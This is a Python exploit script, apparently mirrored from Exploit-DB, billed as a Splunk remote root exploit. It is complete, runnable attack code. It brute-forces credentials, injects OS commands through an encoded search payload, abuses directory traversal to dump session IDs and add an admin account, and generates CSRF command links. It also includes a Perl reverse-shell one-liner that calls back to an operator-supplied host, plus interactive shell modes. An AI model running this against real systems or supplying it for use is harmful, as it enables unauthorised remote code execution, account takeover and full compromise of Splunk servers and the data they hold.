http://www.exploit-db.com/exploits/18245/
from sec1httplib.requestbuilder import Requestobj |
from sec1httplib.thread_dispatcher import * |
import threading |
import re |
import urlparse |
import sys |
import urllib |
import base64 |
from optparse import OptionParser |
import sys |
|
|
""" |
Source: http://www.sec-1.com/blog/?p=233 |
|
Splunk remote root exploit. |
|
Author: Gary O'leary-Steele @ Sec-1 Ltd |
Date: 5th September 2011 |
Release date: Private |
|
Full Package: http://www.exploit-db.com/sploits/18245.zip |
|
C:\git\splunk>python splunk_exploit.py -h |
Usage: Run splunk_exploit.py -h to see usage options |
|
Options: |
--version show program's version number and exit |
-h, --help show this help message and exit |
-t TARGETHOST IP Address or hostname of target splunk server |
-c Generate CSRF URL only |
-w SPLUNKWEB_PORT The Splunk admin interface port (Default: 8000) |
-d SPLUNKD_PORT The Splunkd Web API port (Default: 8089) |
-u USERFILE File containing usernames for use in dictionary attack |
-p PASSFILE File containing passwords for use in dictionary attack |
-U USERNAME Admin username (if known) |
-P PASSWORD Admin pasword (if known) |
|
|
ToDo: Fix bug when attemping to get home dir |
|
""" |
|
#Set this to use a proxy |
#Requestobj.set_proxy("127.0.0.1","8080") |
|
Requestobj.verbose = 0 |
misc_lock = threading.Lock() |
|
# Counter used in bruteforce |
class Counter(): |
def __init__(self): |
self.l = threading.Lock() |
|
def set_total(self,total): |
self.statictotal = total |
self.total = total |
def sub(self): |
with self.l: |
if self.total !=0: |
self.total = self.total - 1 |
def print_remaining(self): |
with self.l: |
print "[i] %s of %s remaining" % (self.total,self.statictotal) |
counter = Counter() |
|
def request_factory_splunkd(targeturl,username,password,splunk_object): |
"Factory to generate attempt_login functions" |
global counter |
def attempt_login(): |
# Dont continue if we already have admin |
if splunk_object.got_admin == 1: |
return False |
|
login_url = "{0}/services/auth/login".format(targeturl.rstrip()) |
r = Requestobj(login_url) |
poststr = "username={0}&password={1}".format(username.rstrip(),password.rstrip()) |
r.rawpostdata("POST", poststr) |
result = r.makerequest() |
counter.sub() |
counter.print_remaining() |
|
|
if result.find_data("Remote login disabled because you are using a free license"): |
print "[i] Free licence in use. No remote login required" |
print "[!] run the exploit again with the -f flag" |
sys.exit() |
|
if result.find_data("sessionKey"): |
print "[***] Cracked: %s:%s\n" % (username.rstrip(),password.rstrip()) |
try: |
if splunk_object.user_is_admin(username.rstrip(),password.rstrip()): |
splunk_object.username = username.rstrip() |
splunk_object.password = password.rstrip() |
splunk_object.got_admin =1 |
#print "ADMIN",splunk_object.got_admin |
splunk_object.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0] |
except Exception as err: |
print "[i] Error getting auth details",err |
|
return (username,password) |
else: |
pass |
return attempt_login |
|
|
def request_factory_splunkweb(targeturl,username,password,cval,splunk_object): |
"Factory to generate attempt_login functions" |
global counter |
|
def attempt_login(): |
if splunk_object.got_admin == 1: |
return False |
|
login_url = "{0}/en-GB/account/login".format(targeturl.rstrip()) |
r = Requestobj(login_url) |
poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,username.rstrip(),password.rstrip()) |
r.rawpostdata("POST", poststr) |
r.set_custom_cookie(copyglobaljar=1) |
result = r.makerequest() |
counter.sub() |
counter.print_remaining() |
|
|
if result.find_data("This resource can be found at"): |
print "[***] Cracked: %s:%s" % (username.rstrip(),password.rstrip()) |
try: |
if splunk_object.user_is_admin(username.rstrip(),password.rstrip()): |
splunk_object.username = username.rstrip() |
splunk_object.password = password.rstrip() |
splunk_object.got_admin =1 |
except Exception as err: |
print "[i] Error getting auth details",err |
|
return (username,password) |
else: |
pass |
return attempt_login |
|
|
|
class SplunkTarget(object): |
def __init__(self,hostaddr,splunkd_port=8089,splunkweb_port=8000): |
|
self.splunkd_port = splunkd_port |
self.splunkweb_port = splunkweb_port |
self.max_threads = 20 |
self.username="" |
self.password = "" |
self.session_key ="" |
self.splunk_home = "" |
self.got_admin = 0 |
self.web_authed = 0 # are we authed to the web interface |
self.freelic =0 |
# Check splunkd server |
info = Requestobj("https://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest() |
if info.body: |
self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc) |
else: |
info = Requestobj("http://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest() |
self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc) |
|
if "server-info" in info.body: |
|
self.splunkd =1 |
try: |
self.os_build = re.findall("os_build\">(.+?)<",info.body)[0] |
self.os_name = re.findall("os_name\">(.+?)<",info.body)[0] |
self.os_version = re.findall("os_version\">(.+?)<",info.body)[0] |
self.server_name = re.findall("serverName\">(.+?)<",info.body)[0] |
self.splunk_version = re.findall("\"version\">(.+?)<",info.body)[0] |
self.cpu_arch = re.findall("cpu_arch\">(.+?)<",info.body)[0] |
print "[i] Splunkd server found. Version:{0}".format(self.splunk_version) |
print "[i] OS:{0} {1} {2}".format(self.os_name,self.os_version,self.os_build) |
except Exception as err: |
print "Error getting splunk server info",err |
else: |
self.splunkd =0 |
|
|
# Check splunk web |
splunkweb_info = Requestobj("http://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest() |
if splunkweb_info.body: |
self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc) |
else: |
splunkweb_info = Requestobj("https://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest() |
self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc) |
|
|
if "Splunk" in splunkweb_info.body: |
print "[i] Splunk web interface discovered" |
self.splunkweb =1 |
self.cval="" |
try: |
self.cval = splunkweb_info.extract_data_body('name="cval" value="(\d+?)"')[0] |
print "[i] CVAL:{0}".format(self.cval) |
except: |
print "[i] Error getting cval" |
self.splunkweb =0 |
|
else: |
self.splunkweb =0 |
|
if self.splunkweb ==1: |
try: |
url ="{0}/en-GB/manager/system/licensing".format(self.splunkweb_url) |
lic = Requestobj(url).makerequest() |
if "<h1>Free license group</h1>" in lic.body: |
print "[i] Configured with free licence. No auth required" |
#if not self.splunkd: |
# print "[i] Cannot connect to splunkd using free licence" |
# sys.exit() |
self.got_admin=1 |
self.username="admin" |
self.password="admin" |
self.web_authed=1 |
self.splunkd=0 |
self.freelic=1 |
self.pop_shell() |
|
except Exception as err: |
print "error",err |
exit() |
|
def account_bruteforce(self,userfile,passfile): |
global counter |
q = ThreadDispatcher(store_return=1,max_threads=self.max_threads) |
for username in set(open(userfile).readlines()): |
for password in set(open(passfile).readlines()): |
|
if self.splunkd == 1: |
q.add(request_factory_splunkd(self.splunkd_url,username,password,self)) |
elif self.splunkweb==1: |
q.add(request_factory_splunkweb(self.splunkweb_url,username,password,self.cval,self)) |
else: |
print "[Error] Not connected" |
sys.exit() |
|
counter.set_total(len(q.call_queue)) |
q.start() |
|
for x in range(q.return_queue._qsize()): |
username, password = q.return_queue.get(x) |
username = username.rstrip() |
password = password.rstrip() |
print "[***] Cracked: %s:%s" % (username,password) |
|
|
def user_is_admin(self,username,password): |
if self.splunkd == 1: |
# attempt to auth via splunkd to get a sessionkey |
self.username = username |
self.password = password |
self.splunkd_auth() |
url = Requestobj("{0}/services/authentication/httpauth-tokens".format(self.splunkd_url)) |
url.basic_auth(username,password) |
|
context = url.makerequest() |
|
if '<title>httpauth-tokens' in context.body: |
self.got_admin =1 |
return True |
else: |
return False |
elif self.splunkweb == 1: |
with misc_lock: |
self.username = username |
self.password = password |
if self.splunkweb_auth(): |
admin_only = Requestobj("{0}/en-US/manager/launcher/server/settings/settings?action=edit".format(self.splunkweb_url)).makerequest() |
if admin_only.find_data("Port that Splunk Web uses"): |
print "[i] User:{0} IS AN ADMIN.".format(username) |
return True |
else: |
print "[i] User:{0} is not an admin".format(username) |
else: |
pass |
|
else: |
print "Not Connected" |
return False |
|
|
def search_payload_cmd(self,payload): |
"Generate a command execution payload" |
encoded = urllib.quote(base64.b64encode(payload)) |
encodedpl = """search index=_internal source=*splunkd.log |mappy x=eval("sys.modules['os'].system(base64.b64decode('%s'))")""" % encoded |
#print encodedpl |
return encodedpl |
|
|
def get_splunk_home(self): |
if not self.username or not self.password: |
print "[i] Valid username and password required" |
sys.exit() |
try: |
r = Requestobj("{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME".format(self.splunkd_url)) |
r.basic_auth(self.username,self.password) |
splunkdir = r.makerequest() |
|
if "ERROR" not in splunkdir.body and "Remote login disabled" not in splunkdir.body and self.splunkd: |
self.splunk_home = splunkdir.body.strip() |
else: |
print "[***] Could not get home dir setting default.." |
if "windows" in self.os_name.lower(): |
self.splunk_home = "c:\\program files\\splunk" |
else: |
self.splunk_home = "/opt/splunk" |
|
print "Setting Splunk home dir to:{0}".format(self.splunk_home) |
|
return self.splunk_home |
|
except Exception as err: |
print "[i] Error occured while attempting to read splunk home dir",err |
|
|
def splunkd_auth(self): |
login_url = "{0}/services/auth/login".format(self.splunkd_url) |
r = Requestobj(login_url) |
poststr = "username={0}&password={1}".format(self.username.rstrip(),self.password.rstrip()) |
r.rawpostdata("POST", poststr) |
result = r.makerequest() |
if result.find_data("Remote login disabled because you are using a free license"): |
print "[i] Free licence in use. No remote login required" |
print "[!] run the exploit again with the -f flag" |
sys.exit() |
|
if result.find_data("sessionKey"): |
self.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0] |
return True |
else: |
return False |
|
|
def splunkweb_auth(self): |
|
if self.web_authed == 1: |
return True |
|
login_page = Requestobj("{0}/en-GB/account/login".format(self.splunkweb_url)).makerequest() # Get session cookie |
|
cval="" |
cval = login_page.extract_data_body('name="cval" value="(\d+?)"') |
if cval: |
cval = cval[0] |
r = Requestobj(login_page.url) |
poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,self.username.rstrip(),self.password.rstrip()) |
r.rawpostdata("POST", poststr) |
result = r.makerequest() |
|
if result.find_data("This resource can be found at"): |
return True |
self.web_authed = 1 |
else: |
print "[i] Login Failed" |
exit() |
|
def add_admin(self,username,password,sessionKey): |
# look for 201 |
if self.splunkd == 1 and self.username and self.password: |
url = Requestobj("{0}/servicesNS/-/launcher/authentication/users".format(self.splunkd_url)) |
url.basic_auth(self.username,self.password) |
url.rawpostdata("POST","roles=user&roles=admin&name={0}&defaultApp=search&password={1}&email=&createrole=0&realname=".format(username,password)) |
url.add_header("authorization","Splunk {0}".format(sessionKey)) |
result = url.makerequest() |
if str(result.code) == "201": |
return True |
else: |
return False |
|
else: |
print "[!] Not connected to splunkd. Check port and creds" |
return False |
|
def dump_session_ids(self): |
"Exploits dir traversal issue to dump session ids" |
print "[i] Attemping to dump sessions" |
if self.splunkd == 1 and self.username and self.password: |
#url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url)) |
url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url)) |
|
url.basic_auth(self.username,self.password) |
result = url.makerequest() |
sessions=[] |
if "session=" in result.body: |
print "[i] Session ID's extracted from web_service.log" |
sessions = re.findall("session=(.+?)[<\s]",result.body) |
for session in set(sessions): |
print "[SESSION]",session |
return set(sessions) |
|
def perl_revshell(self,revhost,port): |
cmd="""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port) |
self.search_exploit_cmd(cmd) |
|
|
def search_exploit_cmd(self,command): |
"Execute commands via search exploit." |
|
if self.splunkweb == 1 and self.got_admin: |
if self.web_authed == 0: |
self.splunkweb_auth() |
|
print "[i] Executing Command:{0}".format(command) |
attack_body = self.search_payload_cmd(command)# |
attack_body = urllib.quote(urllib.unquote(attack_body)) |
shell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url)) |
shell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body)) |
for c in shell_req.get_cookiejar(): |
if "session" in c.name: |
shell_req.add_header("X-Requested-With","XMLHttpRequest") |
shell_req.add_header("X-Splunk-Session",c.value) |
x = shell_req.makerequest() |
|
elif self.splunkd == 1 and self.got_admin and self.session_key: |
|
print "[i] Executing Command:{0}".format(command) |
attack_body = self.search_payload_cmd(command)# |
attack_body = urllib.quote(urllib.unquote(attack_body)) |
shell_req = Requestobj("{0}/servicesNS/admin/search/search/jobs".format(self.splunkd_url)) |
shell_req.rawpostdata("POST","ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100".format(attack_body)) |
shell_req.add_header("authorization","Splunk {0}".format(self.session_key)) |
x = shell_req.makerequest() |
else: |
print "Session",self.session_key |
print "Admin",self.got_admin |
print "Splunkd",self.splunkd |
print "[i] Exploit failed. Not connected or access denied" |
|
def blind_shell(self): |
command="" |
while 1: |
print command.rstrip() |
command=raw_input("blind_shell>")# |
if command.rstrip() == "exit": break |
self.search_exploit_cmd(command) |
|
|
def get_csrf_link_cmd(self,command): |
return "{0}/en-US/app/search/flashtimeline?q={1}&earliest=0".format(self.splunkweb_url,self.search_payload_cmd(command)) |
|
def get_csrf_link_revshell(self,revhost,port): |
cmd="""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port) |
return "{0}/en-US/app/search/flashtimeline?q={1}&earliest=0".format(self.splunkweb_url,self.search_payload_cmd(cmd)) |
|
def search_exploit_psudoshell(self): |
"Execute commands via search exploit. Payload implements a virtual shell" |
if not self.username or not self.password: |
print "[i] Valid username and password required" |
sys.exit() |
if not self.splunkweb == 1: |
print "[error] Managment Web Interface required for this payload" |
return "" |
|
if self.web_authed == 0: |
self.splunkweb_auth() |
|
base_dir = self.get_splunk_home() |
#if not base_dir: |
# print "Failed to get splunk basedir" |
# base_dir = "/opt/splunk" |
|
command="" |
while 1: |
print command.rstrip() |
command=raw_input("shell>")# |
if command.rstrip() == "exit": break |
|
if "windows" in self.os_name.lower(): |
tmp = ">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\"".format(base_dir) |
command = command + tmp #'"'+ tmp +'"' |
else: |
tmp = ">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp".format(base_dir) |
command = command + tmp |
|
attack_body = self.search_payload_cmd(command)# |
|
attack_body = urllib.quote(urllib.unquote(attack_body)) |
psudoshell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url)) |
psudoshell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body)) |
for c in psudoshell_req.get_cookiejar(): |
if "session" in c.name: |
psudoshell_req.add_header("X-Requested-With","XMLHttpRequest") |
psudoshell_req.add_header("X-Splunk-Session",c.value) |
x = psudoshell_req.makerequest() |
import time |
time.sleep(3) |
print Requestobj("{0}/en-US/static/@105575/js/.tmp".format(self.splunkweb_url)).makerequest().body |
|
def pop_shell(self): |
"Prompt for paylod options" |
"[w00p] We appear to have access. Please select a payload" |
print "[Payload Options]" |
if self.splunkweb == 1: |
print "[1]\tPseudo Interactive Shell" |
else: |
print "[DISABLED]\tPseudo Interactive Shell" |
|
print "[2]\tPerl Reverse Shell" |
print "[3]\tCommand Exec (Blind)" |
option = input("Please select option 1-3:") |
if option == 1: |
self.search_exploit_psudoshell() |
elif option ==2: |
rev_host = raw_input("Enter Callback Host:") |
rev_port = raw_input("Enter Callback Port:") |
self.perl_revshell(rev_host,rev_port) |
elif option ==3: |
self.blind_shell() |
else: |
print "Invalid option" |
exit() |
|
|
def main(): |
|
banner = "-----==[Slunk Remote Root Exploit]=-----\n" |
parser = OptionParser(usage="Run %prog -h to see usage options", |
version="%prog 1.0") |
parser.add_option("-t", |
action="store", |
dest="targethost", |
help="IP Address or hostname of target splunk server") |
|
|
|
parser.add_option("-c", |
action="store_true", # optional because action defaults to "store" |
dest="csrf", |
help="Generate CSRF URL only") |
|
|
parser.add_option("-f", |
action="store_true", # optional because action defaults to "store" |
dest="free_lic_noauth", |
help="Target is configured to use a Free licence and does not permit remote auth") |
|
parser.add_option("-w", |
action="store", # optional because action defaults to "store" |
dest="splunkweb_port", |
default=8000, |
help="The Splunk admin interface port (Default: 8000)") |
|
parser.add_option("-d", |
action="store", # optional because action defaults to "store" |
dest="splunkd_port", |
default=8089, |
help="The Splunkd Web API port (Default: 8089)") |
|
|
parser.add_option("-u", |
action="store", # optional because action defaults to "store" |
dest="userfile", |
help="File containing usernames for use in dictionary attack") |
|
parser.add_option("-p", |
action="store", # optional because action defaults to "store" |
dest="passfile", |
help="File containing passwords for use in dictionary attack") |
|
|
parser.add_option("-U", |
action="store", # optional because action defaults to "store" |
dest="username", |
help="Admin username (if known)") |
|
|
parser.add_option("-P", |
action="store", # optional because action defaults to "store" |
dest="password", |
help="Admin pasword (if known)") |
|
parser.add_option("-e", |
action="store", # optional because action defaults to "store" |
dest="userpair", |
help="Attempt to add admin user via priv up directory traversal magic. Accepts username:password") |
|
|
(options, args) = parser.parse_args() |
|
|
if not options.targethost: |
parser.error("Target host required") |
exit() |
|
elif options.targethost and options.free_lic_noauth: |
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) |
x.username="admin" |
x.password="admin" |
x.got_admin=1 |
x.splunkd = 0 |
x.pop_shell() |
|
elif options.targethost and options.csrf: |
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) |
print "[*] Enter command to run or enter 'revshell' for a perl reverse shell:" |
option = raw_input("cmd>") |
if option =="revshell": |
rev_host = raw_input("Enter Callback Host:") |
rev_port = raw_input("Enter Callback Port:") |
x.perl_revshell(rev_host,rev_port) |
print x.get_csrf_link_revshell(rev_host,rev_port) |
else: |
print x.get_csrf_link_cmd(option.strip()) |
|
elif options.targethost and options.username and options.password and options.userpair: |
print "[i] Attemping priv up" |
if ":" in options.userpair: |
username,password = options.userpair.split(":") |
else: |
print "-e requires username password pair in format username:password" |
|
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) |
x.username= options.username |
x.password = options.password |
x.splunkd = 1 |
import time |
while 1: |
sessionids= x.dump_session_ids() |
for session in sessionids: |
if x.add_admin(username,password,session): |
print "[i] User Added" |
exit() |
time.sleep(2) |
|
elif options.targethost and options.username and options.password: |
print "[i] Using static username and password" |
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) |
x.username= options.username |
x.password = options.password |
if x.user_is_admin(options.username,options.password): |
x.pop_shell() |
|
elif options.targethost and options.userfile and options.passfile: |
print "[i] Lauching bruteforce attack" |
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) |
x.account_bruteforce(options.userfile,options.passfile) |
if x.got_admin ==1: |
x.pop_shell() |
|
else: |
print "Please ensure you have supplied either a username and password or a user and password file to bruteforce" |
exit() |
|
|
if __name__ == '__main__': |
main() |
